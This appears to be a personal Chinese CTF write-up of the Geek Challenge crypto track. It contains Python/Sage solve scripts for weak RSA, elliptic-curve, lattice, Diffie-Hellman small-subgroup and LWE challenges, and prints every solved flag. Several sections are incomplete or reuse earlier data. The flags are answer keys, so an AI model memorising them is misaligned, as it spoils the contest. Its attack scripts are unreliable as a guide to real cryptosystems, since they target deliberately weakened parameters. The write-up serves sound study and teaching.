第十六届极客大挑战

10.24 20:00 - 11.24 20:00 (UTC+8)

到后两周没怎么做了。

Rank: 10


CRYPTO

ez_xor

听说有算法高手,我稍微改了一下签到题,快来试试吧,(flag前缀是syc)

已知 N = p*q*s*r,并给出 n = p*qgift = p ^ qgift1 = s & rgift2 = s ^ r,以及密文 c 和公钥 e = 65537。

从 n 与 gift = p ^ q 可以恢复出素数 p 与 q(通过按位逐位构造满足模 2^k 条件的方案;常用的方法是从低位向高位逐位确定,必要时回溯)。

对于 s 和 r:注意恒等式 s + r = (s ^ r) + 2*(s & r),因此 S = gift2 + 2*gift1 就是 s + r。又有 P = s*r = N / n,于是 s、r 是二次方程 x^2 - S x + P = 0 的根,可由判别式开方直接获得。

用已知 gift(即 p^q)和 n,按位重建出 p(令 q = p ^ gift,并确保 p*q == n)。

计算 P = N // n(得到 s*r),计算 S = gift2 + 2*gift1(得到 s + r)。

计算判别式 D = S^2 - 4*P,取整数平方根 sqrt(D),得到 s = (S + sqrt(D))//2r = (S - sqrt(D))//2

有了四个素因子后,计算欧拉函数 phi = (p-1)*(q-1)*(r-1)*(s-1),求出私钥 d = e^{-1} mod phi,最后 m = c^d mod N

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import sys
from math import isqrt
from Crypto.Util.number import long_to_bytes

sys.setrecursionlimit(10000)

N = 12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n = 91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c = 3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift = 5160856643507450510397828582001051679762426399445648048700295372044216322163410374903665868763924707209143638999442462398781974627158916257502760763419216
gift1 = 10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2 = 2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474
e = 65537

# ---------- 1) 恢复 p, q ----------
# 思路:逐位(从低位到高位)构建 p 与 q 的二进制表示。
# 剪枝策略:若在第 i 位已定,则检查 (p_low * q_low) mod 2^(i+1) 是否等于 n mod 2^(i+1)。
# 只有满足模等式的分支才继续拓展。这样能极大减少分支数。

n_mask_target = n # 我们会用 n & mask 比较

# 预计算 n 的低 k 位查询所需掩码的函数
def mask(k):
return (1 << k) - 1

bits = n.bit_length() + 1 # +1 防止最高位进位问题

sol_p = None
sol_q = None
visited = 0

# 使用递归回溯
def dfs_bit(i, p_low, q_low):
global sol_p, sol_q, visited
if sol_p is not None:
return # 已找到解,及时返回
if i == bits:
# 检查完整乘积
if p_low * q_low == n:
sol_p = p_low
sol_q = q_low
return
visited += 1
xi = (gift >> i) & 1
# 两个可能的 p_i 值 (0 或 1)
for pi in (0, 1):
qi = pi ^ xi
new_p = p_low | (pi << i)
new_q = q_low | (qi << i)
# 局部模 2^(i+1) 检查:
k = i + 1
mleft = (new_p * new_q) & mask(k)
mright = n & mask(k)
if mleft != mright:
continue # 剪枝
# 合法,继续下一个位
dfs_bit(i + 1, new_p, new_q)
if sol_p is not None:
return

# 启动 DFS
dfs_bit(0, 0, 0)

p = sol_p
q = sol_q
print("恢复完成:")
print("p bit-length:", p.bit_length())
print("q bit-length:", q.bit_length())
# 验证
assert p * q == n
assert (p ^ q) == gift

# ---------- 2) 恢复 s, r ----------
# 已知:
# gift1 = s & r
# gift2 = s ^ r
# 因为 s + r = (s^r) + 2*(s&r)
S = gift2 + 2 * gift1
P = N // n # s * r
# 解方程 x^2 - S*x + P = 0
D = S * S - 4 * P
sqrtD = isqrt(D)
if sqrtD * sqrtD != D:
raise RuntimeError("判别式不是完全平方,恢复 s,r 失败。")
s = (S + sqrtD) // 2
r = (S - sqrtD) // 2
# 验证
assert s * r == P
assert (s ^ r) == gift2
assert (s & r) == gift1

print("s, r 恢复成功。")

# ---------- 3) 计算私钥并解密 ----------
phi = (p - 1) * (q - 1) * (r - 1) * (s - 1)
d = pow(e, -1, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print(flag)

# b'syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}'

Caesar Slot Machine

Have fun ^v^

找满足 $x \equiv (ax+b) \pmod p$ 的不动点,计算 $x = b \cdot (1-a)^{-1} \bmod p$ 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from Crypto.Util.number import *

r = remote('geek.ctfplus.cn', 31477)

for i in range(30):
r.recvuntil(b': ')
a = eval(r.recvuntil(b' '))
r.recvuntil(b': ')
b = eval(r.recvuntil(b' '))
r.recvuntil(b': ')
p = eval(r.recvline())
print((a, b, p))
x = b * inverse(1-a, p) % p
r.sendlineafter(b': ', str(x).encode())
print(r.recvline())

r.interactive()

# Flag: SYC{you_found_the_fixed_point}

ez_ecc

order不是顺序

椭圆曲线满足:E.order() = p,使用Smart Attack求DLP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *

def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break

Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break

p_times_P = p*P_Qp
p_times_Q = p*Q_Qp

x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()

phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)

p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a

E = EllipticCurve(GF(p), [A, B])

P_x = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7
P_y = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba
P = E(P_x, P_y)

Q_x = 97490713033364940809544067604441149095210096571946998449251275861394744757515
Q_y = 32198694245056943922016695558131047889851279706531342583322750112905104448879
Q = E(Q_x, Q_y)

print(E.order())
print(E.order() == p)

k = SmartAttack(P, Q, p)
print(long_to_bytes(k))

# b'SYC{@n()ma1ou$_cu2ves_r!sky}'

pem

反正私钥在我手里,别人拿到 enc 也没用!

给了私钥和密文,获取解密参数,RSA求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from Crypto.PublicKey import RSA

key_data = open('pem/key.pem', 'rb').read()
c = bytes_to_long(open('pem/enc', 'rb').read())

rsa = RSA.import_key(key_data, passphrase=None)
d = rsa.d
p = rsa.p
q = rsa.q

m = pow(c, d, p*q)
print(long_to_bytes(m))

# b'SYC{PEM_1s_n0t_only_S5l}'

baby_rabin

炒鸡签到题,点击就送.flag前缀是syc

e与r-1不互素,用nth_root求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *

C = 451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
n = 491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
hint = 66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
e = 8

r = n // hint

for m in GF(r)(C).nth_root(e, all=True):
res = long_to_bytes(int(m))
if res.isascii():
print(res)

b'syc{th1s_so_1z_mum_never_ca1r_mytstu1d}'

xor_revenge

船新坂本,欢迎来玩.

第一部分已知:

1
2
n=p*q
gift1=p^q
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *

def get_ab(n, x):
a = [0]
b = [0]
maskx = 1
maskn = 2
for i in range(1024):
xbit = (x & maskx) >> i
nbit = n % maskn
taa = []
tbb = []
for j in range(len(a)):
for aa in range(2):
for bb in range(2):
if aa ^ bb == xbit:
temp2 = n % maskn
temp1 = (aa * maskn // 2 + a[j]) * (bb * maskn // 2+ b[j]) % maskn
if temp1 == temp2:
taa.append(aa * maskn // 2 + a[j])
tbb.append(bb * maskn // 2 + b[j])
maskx *=2
maskn *=2
a = taa
b = tbb
for a1 in a:
if n % a1 == 0:
a = a1
b = n // a1
return (a, b)

n = 63120390892038750887847461212137040846704453211463265124088247545754312909837242226152058559207778569326068784340376246107925344102854168054443821037690461228791503321988302424090363482607836706365716231863738321800643576803292579959548768477931467808594444063300816720312065088031447797672611719109123926239
gift1 = 2385461434719459675562566881073828933585886412514716007230911437507375182798354514754165824354200037212465668388408285187557836674548425959460199610595902
p, q = get_ab(n, gift1)
print((p, q))

第二部分已知:

1
2
3
4
n=p*q
gift2=p&q
r
hint=r&p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import isPrime

n = 93899765081968741114399338082060700714089719856698986175805549984340129441941421395981845491950791787870474182813636477629502110929918956137136867242460527687030071329164361410584600939158530651519926042817999136505129771699307676089507450754103038735606641122120818166235760047614963540804850422418490477659
gift2 = 6966395449196911707833712967500828532527151128771194603454228921546168541592707085037132087811259181214320142366226858749933163854591572996639598075748353
hint = 7240944669338895524418912841205778829555887307297768405304274268439119352600195766649103260157973074311461377198863505197570057277455381244145663410208801
r = 8111787345250251057692785321966070041332427916220343651851811461173532961090460473378180177611236949759482523141243578738065293199789541629807332557571043

cands = [1] # p 必为奇数
for i in range(1, 513):
mod = 1 << i
mask = mod - 1
new = set()
for p0 in cands:
for b in (0, 1):
p1 = p0 | (b << (i - 1))
try:
inv = pow(p1, -1, mod)
except ValueError:
continue
q1 = (n * inv) % mod
if ((p1 & q1) == (gift2 & mask)) and ((r & p1) == (hint & mask)):
new.add(p1)
cands = list(new)
if not cands:
raise Exception(f"无候选,出错于第 {i} 位")
print("候选数量:", len(cands))

for p in cands:
if n % p == 0:
q = n // p
print("p =", p)
print("q =", q)
print("验证:", p*q == n, (p&q)==gift2, (r&p)==hint, isPrime(p), isPrime(q))
break

SYC{hahaha_th1_factor_is_N0t_ha16}

ezLLL

船新坂本,欢迎来玩.

hint: 注意:flag 中包含非 ASCII 字符,解码时请注意字符编码问题。 某些环境可能显示为转义序列(如 \xe1),这实际上是 á 字符的正常表示。

将flag编码成base64,然后分成三部分,每部分长度分别为12、24和36字节,总长度72字节。

已知:

c0, c1, c2:三个 500 位大整数(约 2^500)

c4 = c0*x0 + c1*x1 + c2*x2

x0 是 12 字节 → 96 位 → x0 < 2^96

x1 是 24 字节 → 192 位 → x1 < 2^192

x2 是 36 字节 → 288 位 → x2 < 2^288

从 c4 和 c 恢复出 x0, x1, x2,再拼接还原 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import sympy
from sympy import Matrix, Rational, floor

def gram_schmidt(b):
n = len(b)
bstar = [None] * n
mu = [[Rational(0) for _ in range(n)] for _ in range(n)]
bstar[0] = b[0]
for i in range(1, n):
bstar[i] = b[i]
for j in range(i):
mu[i][j] = Rational( (b[i] * bstar[j].T)[0,0] , (bstar[j] * bstar[j].T)[0,0] )
bstar[i] = bstar[i] - mu[i][j] * bstar[j]
return bstar, mu

def lll(M):
b = [M.row(i).copy() for i in range(3)]
n = 3
delta = Rational(3,4)
while True:
bstar, mu = gram_schmidt(b)
# size reduction
for k in range(1, n):
for j in range(k-1, -1, -1):
if abs(mu[k][j]) > Rational(1,2):
q = floor(mu[k][j] + Rational(1,2))
b[k] = b[k] - q * b[j]
# update gs
bstar, mu = gram_schmidt(b)
swapped = False
for k in range(1, n):
left = (bstar[k] * bstar[k].T)[0,0]
right = (delta - mu[k][k-1]**2) * (bstar[k-1] * bstar[k-1].T)[0,0]
if left < right:
b[k], b[k-1] = b[k-1], b[k]
swapped = True
break
if not swapped:
break
return Matrix(b)

c0 = 3038112798633297184662383622304935743085885557233749158956007073849612482288376427868177129794650629723820320354956421200731057248206923390266126724749
c1 = 3067905676575976394191697470198775983424017171927789349465114051806662220809274519404690237600876120098160925189141020955735592394058043223836997390364
c2 = 161718305745223416862626464966392423773787018933651874103999525456915447775033958634175772362315345532256900450737279647892731432357809002698314267166
c4 = 28062790413629718933986669054186703589109523209003558087731275662743174344133808251212801549266309585389771008410013425648388045766331470112982955563124028892325281968496755965862457760066899153866340566596633175020232648844383549331469

D = 2 ** 288
P1 = 2 ** 96
P2 = 1
P3 = 2 ** 192
M = Matrix([
[P1, 0, 0, c1 * D],
[0, P2, 0, c2 * D],
[0, 0, P3, c0 * D]
])

reduced = lll(M)
b = [reduced.row(i) for i in range(3)]
bstar, mu = gram_schmidt(b)
t = Matrix([[0, 0, 0, c4 * D]])
n = 3
c = [0] * n

for i in range(n-1, -1, -1):
q = Rational( (t * bstar[i].T)[0,0] , (bstar[i] * bstar[i].T)[0,0] )
sum_mu = Rational(0)
for j in range(i+1, n):
sum_mu += mu[j][i] * Rational(c[j])
c[i] = floor(q - sum_mu + Rational(1,2))
lattice_point = Matrix([[0,0,0,0]])

for i in range(n):
lattice_point += c[i] * b[i]
x1 = int(lattice_point[0,0] // P1)
x2 = int(lattice_point[0,1] // P2)
x0 = int(lattice_point[0,2] // P3)
sum_check = c0 * x0 + c1 * x1 + c2 * x2

if sum_check == c4:
print("Success")
parts0 = x0.to_bytes(12, 'big')
parts1 = x1.to_bytes(24, 'big')
parts2 = x2.to_bytes(36, 'big')
flag_b64_bytes = parts0 + parts1 + parts2
flag_b64 = flag_b64_bytes.decode('ascii')
import base64
flag = base64.b64decode(flag_b64)
print(flag)
else:
print("Failed")
print(sum_check - c4)

# SYC{5@y_h31Lo_t0_The_1enstra-Lenstra-Lovász_4lgor!7hm}

Disclose

You should find what diseclse and what else has question

hint: Check each individual piece of data I provide,does it meet the requirements of the password CTF challenge?

类似 dp_spill 那题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *

n = 259787328713315620669972878133037988076215916550647711246939676477326421129812013679655754313165138535008411950313861029496051740521361999159396760989834909603081600363947357112748647883977394670486758972444444439142111569713941555128481912069206288996136103241520037293009874925975282333163541887307464845637591763227092634236013041271880254215362783937683868306313993128035189967091568339765295122704805004687960409586156492514826705669219883130894837499370163894909020869677997529751680238466436501721265413943262568271164547660870177889287883337700613985620882071517309593058133486504491987638053802704885406321489
dq = 22499014253625008930376465290523079246236903672491529428949946205185543555249003236181305161565081242391920797396454563137397269152501398025721057979839815010145158362677658875505461725215023623199075647605873076372373127281663691994250233620145698675916320588215123270286378681617192723590595528629007323619
c = 6370053764427872753918916672520952591890815345305784661535167250636567614044442456829951926201367031691890397266551896051506485503559355632977037940932465451673402461276283344898143212429679842407935863578100874434864110951261893629193556575965754852130079804129027545776519410420168588918897574771225807265360467679437166130735732969205196853246138265462918730868587864117597334192701298070798102481475959547503973860672351511772559847970384102048811464809463784622382282732625019306431797575127684452390281458642683831354534593808201093823305835131373576894519989150022396180064841804679779794213399320560860722616
e_high = 1217218333594918008784773594710739821599287411350951048190189539176815103546142818696781454251773183601401149085966947779641557137128602392

e = e_high >> 3
print(isPrime(e))
g = GCD(pow(2, e*dq, n) - 2, n)
# g = 11 * 167245394008464567861812328427149020666461356914028493259431704768339925310965623643795443928230806489877572022934499691331745436765143986473454476830544964945952741990867637846804372779244702129049503593272379258269763241792078971066297389807672403305526697135230662605730770468080048292619442099725740721573

q = g // 11
p = n // q // 11
print(p.bit_length())
print(q.bit_length())
print(p * q == n // 11)

f = (p-1)*(q-1)
d = inverse(e, f)
m = pow(c, d, n//11)
print(long_to_bytes(m))

# b'SYC{H1gh_0rder_attack}'

dp_spill

Oops, Not Your Usual dp!

dp小,爆破,对任意 $r$,有 $g=\gcd(r^{e \cdot dp - 1} - 1, n)$,极大概率就是 $p$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from tqdm import *
from hashlib import sha256

n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241

for dp in trange(1, 2**20):
p = GCD(pow(2, e*dp, n) - 2, n)
if p > 1:
print(dp)
q = n // p
print(p)
print(q)
print(f'SYC{{{sha256(str(p+q).encode()).hexdigest()}}}')

# SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e}

simple-DH

来到的成都,p 古似乎不太安全,flag开头是syc

选择选项1,服务器返回C(密文)和A1 = g^a mod p。

Key = A1^b mod p,m = C ⊕ Key。

计算p-1的因子,取小素因子的乘积约为2^{128},大于2^{100}(b的上界),因此恢复b mod 每个小q后,可用CRT得到完整的b。

进入选项2,恢复b mod 每个q:

选择选项2,进入循环交互(最多2^16次)。

对于每个小素数q,计算h = pow(2, (p-1)//q, p)(h的阶为q)。

对于k从0到q-1逐个尝试,发送g1 = h。

接收服务器返回的A = h^a’ mod p(a’为服务器随机80位数,且A ≠ 1)。

计算supposed_key = pow(A, k, p)。

发送ykey = supposed_key。

接收响应:

如果”ok_key”,则b ≡ k mod q,记录并跳到下一个q。

如果”no_key”,继续下一个k。

由于q最大为1013,总尝试次数远小于2^{16}。

使用CRT计算b:

收集所有对 (q, k) ,其中b ≡ k mod q。

使用CRT求解b mod (small_primes的乘积),得到b(因为b < 乘积)。

最后解密flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from Crypto.Util.number import *
from tqdm import *
from math import prod

def CRT(remainders, modulus):
s = 0
pro = prod(modulus)
for m_i, r_i in zip(modulus, remainders):
p = pro // m_i
s += r_i * (inverse(p,m_i)*p)
return s % pro

#r = remote('127.0.0.1',1608)
r = remote('geek.ctfplus.cn',30861)
T = 10

r.sendlineafter(b'number \n',b'1',timeout=T)
r.recvuntil(b'cipher flag=')
C = eval(r.recvline(timeout=T))
r.recvuntil(b'A1=')
A1 = eval(r.recvuntil(b'.',timeout=T)[:-1])
print(f'{C = }')
print(f'{A1 = }')

g = 2
p = 162005261169344318401566230104702503064642137782409884504384217600032351339

# p-1 = 2 × 11 × 599 × 647 × 659 × 661 × 673 × 683 × 719 × 743 × 821 × 857 × 859 × 887 × 1013 × 112035307627 × 2919643795410481114830469
small_p = [2, 11, 599, 647, 659, 661, 673, 683, 719, 743, 821, 857, 859, 887, 1013]
print(prod(small_p).bit_length())

r.sendlineafter(b'number \n',b'2',timeout=T)
px = []
kx = []
for q in small_p:
gx = pow(2, (p-1)//q, p) # 阶为q
print(f'Now: q = {q}, gx = {gx}')
for k in trange(q):
r.sendlineafter(b'g:',str(gx).encode(),timeout=T)
r.recvuntil(b'A is ',timeout=T)
Ax = eval(r.recvuntil(b',',timeout=T)[:-1])
test_key = pow(Ax, k, p)
r.sendlineafter(b'key:',str(test_key).encode(),timeout=T)
res = r.recvline(timeout=T)
if res == b'ok_key\n':
px.append(q)
kx.append(k)
break
print(px)
print(kx)

b = CRT(kx, px)
print(b)

Key = pow(A1, b, p)
m = C ^ Key
print(long_to_bytes(m))

r.interactive()

# b'syc{de_sheN1_Y1che9g_D1ng_j0}'

ez_lwe

Alice说bob的音响放的摇滚乐全身噪音,bob不服气,表示我的noise维持在同一水平,这是一种和谐和美妙

参考:https://tangcuxiaojikuai.xyz/post/94c7e291.html#easy-mod-%CE%B1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
b=[...]
A=[...]
p=15444306518755915379
CC=34117838417393645245232889782433844371448224358809402851502421141070689861491276117211335848678483269007265404950503463080005497089800226646525359172074859315940783930656864406105964118013

m, n = 60, 48
A = Matrix(Zmod(p), m, n, A)
b = vector(Zmod(p), b)

def primal_attack2(A,b,m,n,p):
L = block_matrix(
[
[(matrix(Zmod(p), A).T).echelon_form().change_ring(ZZ), 0],
[matrix.zero(m - n, n).augment(matrix.identity(m - n) * p), 0],
[matrix(ZZ, b).stack(vector(ZZ, [1]*m)), 1],
]
)
Q = diagonal_matrix(ZZ, [p]*m + [1]*2)
L = L*Q
L = L.BKZ()
L = L/Q
L = Matrix(ZZ, L)
res = vector(Zmod(p), L[3])
e, k, t = res[:-2], res[-2], res[-1]
return (e-vector(ZZ, [t]*m))*inverse_mod(int(k),p)

e2 = primal_attack2(A, b, m, n, p)
print(e2)

s = A.solve_right(b-e2)
print(s)

S = [int(i) for i in s]
Key = 1
for i in range(10):
Key *= S[i]

M = CC ^^ Key
print(long_to_bytes(M))

# b'SYC{fuck_It_to0_n0s1y_I_wanna_to_slee_121p1p_s1hit1}'

easy_RSA?

Is RSA secure when we encrypt p and q separately without knowing n?

hint: If you have learned lattice~

part1先求m,part2参考羊城杯2020 LRSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from tqdm import *

S = (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A = (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b = 2764
p_m= 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763


# part1
# https://github.com/Aslan-256/crypto-ctf/blob/fe9d4f69d11fd781b69eb011cb63470cda598b11/cryptohack/lattices/learning_with_errors_1/lwe_high_bits_msg/sol.py

n1 = 64
p1 = 257
q1 = 65537
delta = int(round(q1/p1))

def lwe_decrypt(A, b, S, delta, q):
n = len(S)
# Compute the inner product <A, S>
inner_product = sum(A[i] * S[i] for i in range(n)) % q
# Compute x = b - <A, S> mod q
x = (b - inner_product) % q
# Compute m = round(x / delta)
m = round(x / delta)
return m

m = lwe_decrypt(A, b, S, delta, q1)
print(m)

# 91

Hensel

想到魔法部来吗?先偷偷把“速速变大”咒学会哦!

LCG 的公式是:

x_i+1 = (a*x_i) mod 2^256

已知 a,若能得到任意一个生成的 256-bit 片段,就能线性预测整个序列。

素数生成方式:

每个素数 p 是 4 个 256-bit 生成器输出拼接而成的 1024-bit 数:

p = x0||x1||x2||x3

其中 x_i 是每次 LCG 的输出。

这意味着 每个 p 只有 4 次 LCG 输出,而 LCG 模数是 2^256,已知 a,可能可以通过素数的高位或者低位恢复 seed。

EZ_LCG

What would you do in real life if you wanted to read a file but it was encrypted?

hint1: Password hint for the data file:”Y3J5cHRv”

hint2: All right~,you should learn lcg and LLL~

根据提示,解压密码 crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
from tqdm import *

S = (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A = (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b = 2764
p_m= 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
